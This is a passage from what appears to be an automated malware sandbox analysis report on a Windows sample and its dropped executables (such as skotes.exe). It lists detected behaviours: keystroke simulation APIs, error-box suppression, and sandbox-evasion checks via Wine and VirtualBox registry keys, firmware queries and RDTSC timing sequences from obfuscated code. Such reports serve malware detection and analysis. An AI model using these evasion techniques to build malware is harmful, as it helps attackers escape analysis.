Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_00FEF98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		6_2_00FEF98E
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_01061C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		6_2_01061C41

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_6-95660

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F711 second address: F5F715 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F715 second address: F5F71B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F71B second address: F5F72F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jl 00007F9950E9A286h 0x00000011 push edx 0x00000012 pop edx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6326A second address: F63270 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F63270 second address: F63274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F63659 second address: F63732 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF634h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov esi, dword ptr [ebp+122D1D28h] 0x00000010 push 00000000h 0x00000012 sub dword ptr [ebp+122D235Ah], ebx 0x00000018 add cx, 94F5h 0x0000001d push 7D1C262Ah 0x00000022 pushad 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 pop edx 0x00000027 pushad 0x00000028 ja 00007F99511DF626h 0x0000002e push esi 0x0000002f pop esi 0x00000030 popad 0x00000031 popad 0x00000032 xor dword ptr [esp], 7D1C26AAh 0x00000039 and ecx, 0CFCE30Ch 0x0000003f mov esi, eax 0x00000041 push 00000003h 0x00000043 add edx, dword ptr [ebp+122D2C67h] 0x00000049 push 00000000h 0x0000004b push 00000003h 0x0000004d mov edx, 5A89D87Ch 0x00000052 call 00007F99511DF629h 0x00000057 ja 00007F99511DF63Eh 0x0000005d push eax 0x0000005e push eax 0x0000005f jmp 00007F99511DF638h 0x00000064 pop eax 0x00000065 mov eax, dword ptr [esp+04h] 0x00000069 jmp 00007F99511DF639h 0x0000006e mov eax, dword ptr [eax] 0x00000070 push eax 0x00000071 push edx 0x00000072 jns 00007F99511DF635h 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F75850 second address: F7585D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9950E9A286h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F842A5 second address: F842BC instructions: 0x00000000 rdtsc 0x00000002 jne 00007F99511DF632h 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F842BC second address: F842C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F81FED second address: F81FF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F81FF3 second address: F81FF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F81FF7 second address: F82011 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F99511DF626h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007F99511DF626h 0x00000014 jbe 00007F99511DF626h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82011 second address: F82015 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82015 second address: F8201E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8217E second address: F821B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A28Eh 0x00000007 ja 00007F9950E9A286h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F9950E9A298h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82325 second address: F82338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F99511DF62Ah 0x0000000a push esi 0x0000000b pop esi 0x0000000c push edi 0x0000000d pop edi 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82338 second address: F82340 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82340 second address: F82359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 jmp 00007F99511DF62Dh 0x0000000e pushad 0x0000000f popad 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F824E8 second address: F8251D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9950E9A291h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F9950E9A294h 0x00000012 jng 00007F9950E9A286h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8251D second address: F8252C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F99511DF62Ah 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8252C second address: F82540 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9950E9A28Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82540 second address: F82544 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82544 second address: F8254A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F826AF second address: F826C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF635h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F826C8 second address: F826F3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jp 00007F9950E9A286h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F9950E9A299h 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F826F3 second address: F826F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82C03 second address: F82C40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9950E9A28Fh 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F9950E9A294h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 jng 00007F9950E9A286h 0x00000018 popad 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c push edi 0x0000001d pop edi 0x0000001e popad 0x0000001f pushad 0x00000020 push ecx 0x00000021 pop ecx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4A96D second address: F4A975 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4A975 second address: F4A979 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4A979 second address: F4A98F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F99511DF62Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F83307 second address: F83324 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F9950E9A297h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F83324 second address: F8332F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F99511DF626h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F83ACD second address: F83AD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F83C23 second address: F83C27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F83C27 second address: F83C54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9950E9A291h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 js 00007F9950E9A286h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b jo 00007F9950E9A286h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F83DAD second address: F83DD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F99511DF626h 0x0000000a jno 00007F99511DF626h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F99511DF630h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F840E3 second address: F84126 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9950E9A296h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F9950E9A28Fh 0x00000014 jmp 00007F9950E9A28Dh 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84126 second address: F8412A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8412A second address: F84130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84130 second address: F8413A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F99511DF626h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8413A second address: F8413E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8822E second address: F88238 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F99511DF626h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8894E second address: F88956 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8BD4C second address: F8BD69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF633h 0x00000007 jnl 00007F99511DF626h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4DE2A second address: F4DE30 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8EDBB second address: F8EDF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F99511DF626h 0x0000000a jmp 00007F99511DF639h 0x0000000f popad 0x00000010 jmp 00007F99511DF636h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8EDF5 second address: F8EE1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A298h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F9950E9A28Bh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8EE1E second address: F8EE22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F2DC second address: F8F2F8 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9950E9A286h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F9950E9A292h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F7A1 second address: F8F7A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F8F1 second address: F8F901 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F901 second address: F8F907 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F907 second address: F8F91E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9950E9A293h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91611 second address: F9162B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F99511DF62Ch 0x00000008 jc 00007F99511DF626h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9162B second address: F9162F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9162F second address: F91635 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91635 second address: F9163A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9163A second address: F91682 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop eax 0x00000008 xor dword ptr [ebp+122D3954h], edx 0x0000000e call 00007F99511DF629h 0x00000013 push ecx 0x00000014 jg 00007F99511DF639h 0x0000001a jmp 00007F99511DF633h 0x0000001f pop ecx 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F99511DF631h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91682 second address: F91694 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A28Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91694 second address: F916AE instructions: 0x00000000 rdtsc 0x00000002 jo 00007F99511DF628h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 jne 00007F99511DF628h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F916AE second address: F916B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F916B4 second address: F916FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF634h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e jmp 00007F99511DF639h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jng 00007F99511DF62Ch 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91BF5 second address: F91BFB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91BFB second address: F91C1F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F99511DF628h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F99511DF635h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91C1F second address: F91C37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9950E9A294h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91D25 second address: F91D52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F99511DF637h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f ja 00007F99511DF62Ch 0x00000015 jnc 00007F99511DF626h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91D52 second address: F91D5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F9950E9A286h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91D5C second address: F91D60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F924A7 second address: F924BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9950E9A291h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F926F2 second address: F926FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F99511DF626h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92845 second address: F9285F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A296h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9285F second address: F92864 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
